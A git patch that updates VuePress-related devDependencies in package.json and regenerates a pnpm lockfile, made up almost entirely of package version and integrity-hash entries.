From 44d809b0818d6a5a33377bceb54e1d7cfe4df015 Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Mon, 10 Jul 2023 22:42:13 +0800 Subject: [PATCH 01/26] =?UTF-8?q?feat:=20=F0=9F=8E=B8=20=E4=BE=9D=E8=B5=96?= =?UTF-8?q?=E5=8D=87=E7=BA=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 10 +- pnpm-lock.yaml | 11591 +++++++++++++++++++++-------------------------- 2 files changed, 5273 insertions(+), 6328 deletions(-) diff --git a/package.json b/package.json index 0f78aef8..82adb588 100644 --- a/package.json +++ b/package.json @@ -17,14 +17,14 @@ }, "devDependencies": { "@commitlint/cli": "^17.0.3", - "@vuepress/client": "2.0.0-beta.53", + "@vuepress/client": "2.0.0-beta.64", "commitizen": "^4.2.4", "cz-conventional-changelog": "^3.3.0", "git-cz": "^4.9.0", "husky": "^8.0.1", - "vue": "^3.2.45", - "vuepress": "^2.0.0-beta.53", - "vuepress-plugin-search-pro": "2.0.0-beta.219", - "vuepress-theme-hope": "^2.0.0-beta.219" + "vue": "^3.3.4", + "vuepress": "^2.0.0-beta.64", + "vuepress-plugin-search-pro": "2.0.0-beta.231", + "vuepress-theme-hope": "^2.0.0-beta.231" } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 4eaaf88e..03d068db 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1,7022 +1,5553 @@ -lockfileVersion: 5.4 - -specifiers: - '@commitlint/cli': ^17.0.3 - '@vuepress/client': 2.0.0-beta.53 - commitizen: ^4.2.4 - cz-conventional-changelog: ^3.3.0 - git-cz: ^4.9.0 - husky: ^8.0.1 - nodemailer: ^6.9.1 - vue: ^3.2.45 - vuepress: ^2.0.0-beta.53 - vuepress-plugin-search-pro: 2.0.0-beta.124 - vuepress-theme-hope: ^2.0.0-beta.121 +lockfileVersion: '6.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false devDependencies: - '@commitlint/cli': 17.0.3 - '@vuepress/client': registry.npmmirror.com/@vuepress/client/2.0.0-beta.53 - commitizen: 4.2.4 - cz-conventional-changelog: 3.3.0 - git-cz: 4.9.0 - husky: 8.0.1 - nodemailer: registry.npmmirror.com/nodemailer/6.9.1 - vue: registry.npmmirror.com/vue/3.2.45 - vuepress: registry.npmmirror.com/vuepress/2.0.0-beta.53_54nmke4n2vj3tdp5cd33kvtiom - vuepress-plugin-search-pro: registry.npmmirror.com/vuepress-plugin-search-pro/2.0.0-beta.124 - vuepress-theme-hope: registry.npmmirror.com/vuepress-theme-hope/2.0.0-beta.124 + '@commitlint/cli': + specifier: ^17.0.3 + version: 17.0.3 + '@vuepress/client': + specifier: 2.0.0-beta.64 + version: 2.0.0-beta.64 + commitizen: + specifier: ^4.2.4 + version: 4.2.4 + cz-conventional-changelog: + specifier: ^3.3.0 + version: 3.3.0 + git-cz: + specifier: ^4.9.0 + version: 4.9.0 + husky: + specifier: ^8.0.1 + version: 8.0.1 + vue: + specifier: ^3.3.4 + version: 3.3.4 + vuepress: + specifier: ^2.0.0-beta.64 + version: 2.0.0-beta.64(@types/node@17.0.32)(@vuepress/client@2.0.0-beta.64)(vue@3.3.4) + vuepress-plugin-search-pro: + specifier: 2.0.0-beta.231 + version: 2.0.0-beta.231(vuepress@2.0.0-beta.64) + vuepress-theme-hope: + specifier: ^2.0.0-beta.231 + version: 2.0.0-beta.231(vuepress@2.0.0-beta.64) packages: - /@commitlint/cli/17.0.3: - resolution: {integrity: sha512-oAo2vi5d8QZnAbtU5+0cR2j+A7PO8zuccux65R/EycwvsZrDVyW518FFrnJK2UQxbRtHFFIG+NjQ6vOiJV0Q8A==} - engines: {node: '>=v14'} - hasBin: true + /@ampproject/remapping@2.2.0: + resolution: {integrity: sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==} + engines: {node: '>=6.0.0'} dependencies: - '@commitlint/format': 17.0.0 - '@commitlint/lint': 17.0.3 - '@commitlint/load': 17.0.3 - '@commitlint/read': 17.0.0 - '@commitlint/types': 17.0.0 - execa: 5.1.1 - lodash: 4.17.21 - resolve-from: 5.0.0 - resolve-global: 1.0.0 - yargs: 17.5.1 - transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + '@jridgewell/gen-mapping': 0.1.1 + '@jridgewell/trace-mapping': 0.3.17 dev: true - /@commitlint/config-validator/17.0.3: - resolution: {integrity: sha512-3tLRPQJKapksGE7Kee9axv+9z5I2GDHitDH4q63q7NmNA0wkB+DAorJ0RHz2/K00Zb1/MVdHzhCga34FJvDihQ==} - engines: {node: '>=v14'} + /@apideck/better-ajv-errors@0.3.3(ajv@8.11.0): + resolution: {integrity: sha512-9o+HO2MbJhJHjDYZaDxJmSDckvDpiuItEsrIShV0DXeCshXWRHhqYyU/PKHMkuClOmFnZhRd6wzv4vpDu/dRKg==} + engines: {node: '>=10'} + peerDependencies: + ajv: '>=8' dependencies: - '@commitlint/types': 17.0.0 ajv: 8.11.0 + json-schema: 0.4.0 + jsonpointer: 5.0.0 + leven: 3.1.0 dev: true - /@commitlint/ensure/17.0.0: - resolution: {integrity: sha512-M2hkJnNXvEni59S0QPOnqCKIK52G1XyXBGw51mvh7OXDudCmZ9tZiIPpU882p475Mhx48Ien1MbWjCP1zlyC0A==} - engines: {node: '>=v14'} + /@babel/code-frame@7.16.7: + resolution: {integrity: sha512-iAXqUn8IIeBTNd72xsFlgaXHkMBMt6y4HJp1tIaK465CWLT/fG1aqB7ykr95gHHmlBdGbFeWWfyB4NJJ0nmeIg==} + engines: {node: '>=6.9.0'} dependencies: - '@commitlint/types': 17.0.0 - lodash: registry.npmmirror.com/lodash/4.17.21 + '@babel/highlight': 7.17.9 dev: true - /@commitlint/execute-rule/17.0.0: - resolution: {integrity: sha512-nVjL/w/zuqjCqSJm8UfpNaw66V9WzuJtQvEnCrK4jDw6qKTmZB+1JQ8m6BQVZbNBcwfYdDNKnhIhqI0Rk7lgpQ==} - engines: {node: '>=v14'} + /@babel/code-frame@7.22.5: + resolution: {integrity: sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/highlight': 7.22.5 dev: true - /@commitlint/format/17.0.0: - resolution: {integrity: sha512-MZzJv7rBp/r6ZQJDEodoZvdRM0vXu1PfQvMTNWFb8jFraxnISMTnPBWMMjr2G/puoMashwaNM//fl7j8gGV5lA==} - engines: {node: '>=v14'} - dependencies: - '@commitlint/types': 17.0.0 - chalk: 4.1.2 + /@babel/compat-data@7.22.6: + resolution: {integrity: sha512-29tfsWTq2Ftu7MXmimyC0C5FDZv5DYxOZkh3XD3+QW4V/BYuv/LyEsjj3c0hqedEaDt6DBfDvexMKU8YevdqFg==} + engines: {node: '>=6.9.0'} dev: true - /@commitlint/is-ignored/17.0.3: - resolution: {integrity: sha512-/wgCXAvPtFTQZxsVxj7owLeRf5wwzcXLaYmrZPR4a87iD4sCvUIRl1/ogYrtOyUmHwWfQsvjqIB4mWE/SqWSnA==} - engines: {node: '>=v14'} + /@babel/core@7.22.8: + resolution: {integrity: sha512-75+KxFB4CZqYRXjx4NlR4J7yGvKumBuZTmV4NV6v09dVXXkuYVYLT68N6HCzLvfJ+fWCxQsntNzKwwIXL4bHnw==} + engines: {node: '>=6.9.0'} dependencies: - '@commitlint/types': 17.0.0 - semver: 7.3.7 + '@ampproject/remapping': 2.2.0 + '@babel/code-frame': 7.22.5 + '@babel/generator': 7.22.7 + '@babel/helper-compilation-targets': 7.22.6(@babel/core@7.22.8) + '@babel/helper-module-transforms': 7.22.5 + '@babel/helpers': 7.22.6 + '@babel/parser': 7.22.7 + '@babel/template': 7.22.5 + '@babel/traverse': 7.22.8 + '@babel/types': 7.22.5 + '@nicolo-ribaudo/semver-v6': 6.3.3 + convert-source-map: 1.8.0 + debug: 4.3.4 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + transitivePeerDependencies: + - supports-color dev: true - /@commitlint/lint/17.0.3: - resolution: {integrity: sha512-2o1fk7JUdxBUgszyt41sHC/8Nd5PXNpkmuOo9jvGIjDHzOwXyV0PSdbEVTH3xGz9NEmjohFHr5l+N+T9fcxong==} - engines: {node: '>=v14'} + /@babel/generator@7.22.7: + resolution: {integrity: sha512-p+jPjMG+SI8yvIaxGgeW24u7q9+5+TGpZh8/CuB7RhBKd7RCy8FayNEFNNKrNK/eUcY/4ExQqLmyrvBXKsIcwQ==} + engines: {node: '>=6.9.0'} dependencies: - '@commitlint/is-ignored': 17.0.3 - '@commitlint/parse': 17.0.0 - '@commitlint/rules': 17.0.0 - '@commitlint/types': 17.0.0 + '@babel/types': 7.22.5 + '@jridgewell/gen-mapping': 0.3.2 + '@jridgewell/trace-mapping': 0.3.17 + jsesc: 2.5.2 dev: true - /@commitlint/load/17.0.3: - resolution: {integrity: sha512-3Dhvr7GcKbKa/ey4QJ5MZH3+J7QFlARohUow6hftQyNjzoXXROm+RwpBes4dDFrXG1xDw9QPXA7uzrOShCd4bw==} - engines: {node: '>=v14'} + /@babel/helper-annotate-as-pure@7.16.7: + resolution: {integrity: sha512-s6t2w/IPQVTAET1HitoowRGXooX8mCgtuP5195wD/QJPV6wYjpujCGF7JuMODVX2ZAJOf1GT6DT9MHEZvLOFSw==} + engines: {node: '>=6.9.0'} dependencies: - '@commitlint/config-validator': 17.0.3 - '@commitlint/execute-rule': 17.0.0 - '@commitlint/resolve-extends': 17.0.3 - '@commitlint/types': 17.0.0 - '@types/node': 17.0.32 - chalk: 4.1.2 - cosmiconfig: 7.0.1 - cosmiconfig-typescript-loader: 2.0.2_wkok7lthibal5qjhsdd5yq2cfe - lodash: 4.17.21 - resolve-from: 5.0.0 - typescript: 4.7.4 - transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + '@babel/types': 7.22.5 dev: true - /@commitlint/message/17.0.0: - resolution: {integrity: sha512-LpcwYtN+lBlfZijHUdVr8aNFTVpHjuHI52BnfoV01TF7iSLnia0jttzpLkrLmI8HNQz6Vhr9UrxDWtKZiMGsBw==} - engines: {node: '>=v14'} + /@babel/helper-builder-binary-assignment-operator-visitor@7.16.7: + resolution: {integrity: sha512-C6FdbRaxYjwVu/geKW4ZeQ0Q31AftgRcdSnZ5/jsH6BzCJbtvXvhpfkbkThYSuutZA7nCXpPR6AD9zd1dprMkA==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-explode-assignable-expression': 7.16.7 + '@babel/types': 7.22.5 dev: true - /@commitlint/parse/17.0.0: - resolution: {integrity: sha512-cKcpfTIQYDG1ywTIr5AG0RAiLBr1gudqEsmAGCTtj8ffDChbBRxm6xXs2nv7GvmJN7msOt7vOKleLvcMmRa1+A==} - engines: {node: '>=v14'} + /@babel/helper-compilation-targets@7.22.6(@babel/core@7.22.8): + resolution: {integrity: sha512-534sYEqWD9VfUm3IPn2SLcH4Q3P86XL+QvqdC7ZsFrzyyPF3T4XGiVghF6PTYNdWg6pXuoqXxNQAhbYeEInTzA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 dependencies: - '@commitlint/types': 17.0.0 - conventional-changelog-angular: 5.0.13 - conventional-commits-parser: 3.2.4 + '@babel/compat-data': 7.22.6 + '@babel/core': 7.22.8 + '@babel/helper-validator-option': 7.22.5 + '@nicolo-ribaudo/semver-v6': 6.3.3 + browserslist: 4.21.9 + lru-cache: 5.1.1 dev: true - /@commitlint/read/17.0.0: - resolution: {integrity: sha512-zkuOdZayKX3J6F6mPnVMzohK3OBrsEdOByIqp4zQjA9VLw1hMsDEFQ18rKgUc2adkZar+4S01QrFreDCfZgbxA==} - engines: {node: '>=v14'} + /@babel/helper-create-class-features-plugin@7.17.9(@babel/core@7.22.8): + resolution: {integrity: sha512-kUjip3gruz6AJKOq5i3nC6CoCEEF/oHH3cp6tOZhB+IyyyPyW0g1Gfsxn3mkk6S08pIA2y8GQh609v9G/5sHVQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 dependencies: - '@commitlint/top-level': 17.0.0 - '@commitlint/types': 17.0.0 - fs-extra: 10.1.0 - git-raw-commits: 2.0.11 + '@babel/core': 7.22.8 + '@babel/helper-annotate-as-pure': 7.16.7 + '@babel/helper-environment-visitor': 7.22.5 + '@babel/helper-function-name': 7.22.5 + '@babel/helper-member-expression-to-functions': 7.17.7 + '@babel/helper-optimise-call-expression': 7.16.7 + '@babel/helper-replace-supers': 7.16.7 + '@babel/helper-split-export-declaration': 7.22.6 + transitivePeerDependencies: + - supports-color dev: true - /@commitlint/resolve-extends/17.0.3: - resolution: {integrity: sha512-H/RFMvrcBeJCMdnVC4i8I94108UDccIHrTke2tyQEg9nXQnR5/Hd6MhyNWkREvcrxh9Y+33JLb+PiPiaBxCtBA==} - engines: {node: '>=v14'} + /@babel/helper-create-regexp-features-plugin@7.17.0(@babel/core@7.22.8): + resolution: {integrity: sha512-awO2So99wG6KnlE+TPs6rn83gCz5WlEePJDTnLEqbchMVrBeAujURVphRdigsk094VhvZehFoNOihSlcBjwsXA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 dependencies: - '@commitlint/config-validator': 17.0.3 - '@commitlint/types': 17.0.0 - import-fresh: 3.3.0 - lodash: 4.17.21 - resolve-from: 5.0.0 - resolve-global: 1.0.0 + '@babel/core': 7.22.8 + '@babel/helper-annotate-as-pure': 7.16.7 + regexpu-core: 5.0.1 dev: true - /@commitlint/rules/17.0.0: - resolution: {integrity: sha512-45nIy3dERKXWpnwX9HeBzK5SepHwlDxdGBfmedXhL30fmFCkJOdxHyOJsh0+B0RaVsLGT01NELpfzJUmtpDwdQ==} - engines: {node: '>=v14'} + /@babel/helper-define-polyfill-provider@0.3.1(@babel/core@7.22.8): + resolution: {integrity: sha512-J9hGMpJQmtWmj46B3kBHmL38UhJGhYX7eqkcq+2gsstyYt341HmPeWspihX43yVRA0mS+8GGk2Gckc7bY/HCmA==} + peerDependencies: + '@babel/core': ^7.4.0-0 dependencies: - '@commitlint/ensure': 17.0.0 - '@commitlint/message': 17.0.0 - '@commitlint/to-lines': 17.0.0 - '@commitlint/types': 17.0.0 - execa: registry.npmmirror.com/execa/5.1.1 + '@babel/core': 7.22.8 + '@babel/helper-compilation-targets': 7.22.6(@babel/core@7.22.8) + '@babel/helper-module-imports': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/traverse': 7.22.8 + debug: 4.3.4 + lodash.debounce: 4.0.8 + resolve: 1.22.1 + semver: 6.3.0 + transitivePeerDependencies: + - supports-color dev: true - /@commitlint/to-lines/17.0.0: - resolution: {integrity: sha512-nEi4YEz04Rf2upFbpnEorG8iymyH7o9jYIVFBG1QdzebbIFET3ir+8kQvCZuBE5pKCtViE4XBUsRZz139uFrRQ==} - engines: {node: '>=v14'} + /@babel/helper-environment-visitor@7.22.5: + resolution: {integrity: sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==} + engines: {node: '>=6.9.0'} dev: true - /@commitlint/top-level/17.0.0: - resolution: {integrity: sha512-dZrEP1PBJvodNWYPOYiLWf6XZergdksKQaT6i1KSROLdjf5Ai0brLOv5/P+CPxBeoj3vBxK4Ax8H1Pg9t7sHIQ==} - engines: {node: '>=v14'} + /@babel/helper-explode-assignable-expression@7.16.7: + resolution: {integrity: sha512-KyUenhWMC8VrxzkGP0Jizjo4/Zx+1nNZhgocs+gLzyZyB8SHidhoq9KK/8Ato4anhwsivfkBLftky7gvzbZMtQ==} + engines: {node: '>=6.9.0'} dependencies: - find-up: 5.0.0 + '@babel/types': 7.22.5 dev: true - /@commitlint/types/17.0.0: - resolution: {integrity: sha512-hBAw6U+SkAT5h47zDMeOu3HSiD0SODw4Aq7rRNh1ceUmL7GyLKYhPbUvlRWqZ65XjBLPHZhFyQlRaPNz8qvUyQ==} - engines: {node: '>=v14'} + /@babel/helper-function-name@7.22.5: + resolution: {integrity: sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==} + engines: {node: '>=6.9.0'} dependencies: - chalk: 4.1.2 + '@babel/template': 7.22.5 + '@babel/types': 7.22.5 dev: true - /@cspotcode/source-map-support/0.8.1: - resolution: {integrity: sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==} - engines: {node: '>=12'} + /@babel/helper-hoist-variables@7.22.5: + resolution: {integrity: sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==} + engines: {node: '>=6.9.0'} dependencies: - '@jridgewell/trace-mapping': registry.npmmirror.com/@jridgewell/trace-mapping/0.3.9 + '@babel/types': 7.22.5 dev: true - /@tsconfig/node10/1.0.9: - resolution: {integrity: sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==} + /@babel/helper-member-expression-to-functions@7.17.7: + resolution: {integrity: sha512-thxXgnQ8qQ11W2wVUObIqDL4p148VMxkt5T/qpN5k2fboRyzFGFmKsTGViquyM5QHKUy48OZoca8kw4ajaDPyw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.22.5 dev: true - /@tsconfig/node12/1.0.11: - resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==} + /@babel/helper-module-imports@7.22.5: + resolution: {integrity: sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.22.5 dev: true - /@tsconfig/node14/1.0.3: - resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==} + /@babel/helper-module-transforms@7.22.5: + resolution: {integrity: sha512-+hGKDt/Ze8GFExiVHno/2dvG5IdstpzCq0y4Qc9OJ25D4q3pKfiIP/4Vp3/JvhDkLKsDK2api3q3fpIgiIF5bw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-environment-visitor': 7.22.5 + '@babel/helper-module-imports': 7.22.5 + '@babel/helper-simple-access': 7.22.5 + '@babel/helper-split-export-declaration': 7.22.6 + '@babel/helper-validator-identifier': 7.22.5 + '@babel/template': 7.22.5 + '@babel/traverse': 7.22.8 + '@babel/types': 7.22.5 + transitivePeerDependencies: + - supports-color dev: true - /@tsconfig/node16/1.0.3: - resolution: {integrity: sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==} + /@babel/helper-optimise-call-expression@7.16.7: + resolution: {integrity: sha512-EtgBhg7rd/JcnpZFXpBy0ze1YRfdm7BnBX4uKMBd3ixa3RGAE002JZB66FJyNH7g0F38U05pXmA5P8cBh7z+1w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.22.5 dev: true - /@types/minimist/1.2.2: - resolution: {integrity: sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==} + /@babel/helper-plugin-utils@7.16.7: + resolution: {integrity: sha512-Qg3Nk7ZxpgMrsox6HreY1ZNKdBq7K72tDSliA6dCl5f007jR4ne8iD5UzuNnCJH2xBf2BEEVGr+/OL6Gdp7RxA==} + engines: {node: '>=6.9.0'} dev: true - /@types/node/17.0.32: - resolution: {integrity: sha512-eAIcfAvhf/BkHcf4pkLJ7ECpBAhh9kcxRBpip9cTiO+hf+aJrsxYxBeS6OXvOd9WqNAJmavXVpZvY1rBjNsXmw==} + /@babel/helper-remap-async-to-generator@7.16.8: + resolution: {integrity: sha512-fm0gH7Flb8H51LqJHy3HJ3wnE1+qtYR2A99K06ahwrawLdOFsCEWjZOrYricXJHoPSudNKxrMBUPEIPxiIIvBw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-annotate-as-pure': 7.16.7 + '@babel/helper-wrap-function': 7.16.8 + '@babel/types': 7.22.5 + transitivePeerDependencies: + - supports-color dev: true - /@types/normalize-package-data/2.4.1: - resolution: {integrity: sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==} + /@babel/helper-replace-supers@7.16.7: + resolution: {integrity: sha512-y9vsWilTNaVnVh6xiJfABzsNpgDPKev9HnAgz6Gb1p6UUwf9NepdlsV7VXGCftJM+jqD5f7JIEubcpLjZj5dBw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-environment-visitor': 7.22.5 + '@babel/helper-member-expression-to-functions': 7.17.7 + '@babel/helper-optimise-call-expression': 7.16.7 + '@babel/traverse': 7.22.8 + '@babel/types': 7.22.5 + transitivePeerDependencies: + - supports-color dev: true - /@types/parse-json/4.0.0: - resolution: {integrity: sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==} + /@babel/helper-simple-access@7.22.5: + resolution: {integrity: sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.22.5 dev: true - /JSONStream/1.3.5: - resolution: {integrity: sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==} - hasBin: true + /@babel/helper-skip-transparent-expression-wrappers@7.16.0: + resolution: {integrity: sha512-+il1gTy0oHwUsBQZyJvukbB4vPMdcYBrFHa0Uc4AizLxbq6BOYC51Rv4tWocX9BLBDLZ4kc6qUFpQ6HRgL+3zw==} + engines: {node: '>=6.9.0'} dependencies: - jsonparse: 1.3.1 - through: 2.3.8 + '@babel/types': 7.22.5 dev: true - /acorn-walk/8.2.0: - resolution: {integrity: sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==} - engines: {node: '>=0.4.0'} + /@babel/helper-split-export-declaration@7.22.6: + resolution: {integrity: sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.22.5 dev: true - /ajv/8.11.0: - resolution: {integrity: sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==} - dependencies: - fast-deep-equal: registry.npmmirror.com/fast-deep-equal/3.1.3 - json-schema-traverse: 1.0.0 - require-from-string: 2.0.2 - uri-js: 4.4.1 + /@babel/helper-string-parser@7.22.5: + resolution: {integrity: sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==} + engines: {node: '>=6.9.0'} dev: true - /ansi-escapes/3.2.0: - resolution: {integrity: sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==} - engines: {node: '>=4'} + /@babel/helper-validator-identifier@7.16.7: + resolution: {integrity: sha512-hsEnFemeiW4D08A5gUAZxLBTXpZ39P+a+DGDsHw1yxqyQ/jzFEnxf5uTEGp+3bzAbNOxU1paTgYS4ECU/IgfDw==} + engines: {node: '>=6.9.0'} dev: true - /ansi-regex/4.1.1: - resolution: {integrity: sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==} - engines: {node: '>=6'} + /@babel/helper-validator-identifier@7.22.5: + resolution: {integrity: sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==} + engines: {node: '>=6.9.0'} dev: true - /ansi-styles/3.2.1: - resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} - engines: {node: '>=4'} - dependencies: - color-convert: 1.9.3 + /@babel/helper-validator-option@7.22.5: + resolution: {integrity: sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==} + engines: {node: '>=6.9.0'} dev: true - /ansi-styles/4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} - engines: {node: '>=8'} + /@babel/helper-wrap-function@7.16.8: + resolution: {integrity: sha512-8RpyRVIAW1RcDDGTA+GpPAwV22wXCfKOoM9bet6TLkGIFTkRQSkH1nMQ5Yet4MpoXe1ZwHPVtNasc2w0uZMqnw==} + engines: {node: '>=6.9.0'} dependencies: - color-convert: registry.npmmirror.com/color-convert/2.0.1 + '@babel/helper-function-name': 7.22.5 + '@babel/template': 7.22.5 + '@babel/traverse': 7.22.8 + '@babel/types': 7.22.5 + transitivePeerDependencies: + - supports-color dev: true - /array-ify/1.0.0: - resolution: {integrity: sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng==} + /@babel/helpers@7.22.6: + resolution: {integrity: sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/template': 7.22.5 + '@babel/traverse': 7.22.8 + '@babel/types': 7.22.5 + transitivePeerDependencies: + - supports-color dev: true - /arrify/1.0.1: - resolution: {integrity: sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==} - engines: {node: '>=0.10.0'} + /@babel/highlight@7.17.9: + resolution: {integrity: sha512-J9PfEKCbFIv2X5bjTMiZu6Vf341N05QIY+d6FvVKynkG1S7G0j3I0QoRtWIrXhZ+/Nlb5Q0MzqL7TokEJ5BNHg==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-validator-identifier': 7.16.7 + chalk: 2.4.2 + js-tokens: 4.0.0 dev: true - /balanced-match/1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + /@babel/highlight@7.22.5: + resolution: {integrity: sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-validator-identifier': 7.22.5 + chalk: 2.4.2 + js-tokens: 4.0.0 dev: true - /brace-expansion/1.1.11: - resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} + /@babel/parser@7.22.7: + resolution: {integrity: sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==} + engines: {node: '>=6.0.0'} + hasBin: true dependencies: - balanced-match: 1.0.2 - concat-map: 0.0.1 + '@babel/types': 7.22.5 dev: true - /cachedir/2.2.0: - resolution: {integrity: sha512-VvxA0xhNqIIfg0V9AmJkDg91DaJwryutH5rVEZAhcNi4iJFj9f+QxmAjgK1LT9I8OgToX27fypX6/MeCXVbBjQ==} - engines: {node: '>=6'} + /@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-anv/DObl7waiGEnC24O9zqL0pSuI9hljihqiDuFHC8d7/bjr/4RLGPWuc8rYOff/QPzbEPSkzG8wGG9aDuhHRg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + dependencies: + '@babel/core': 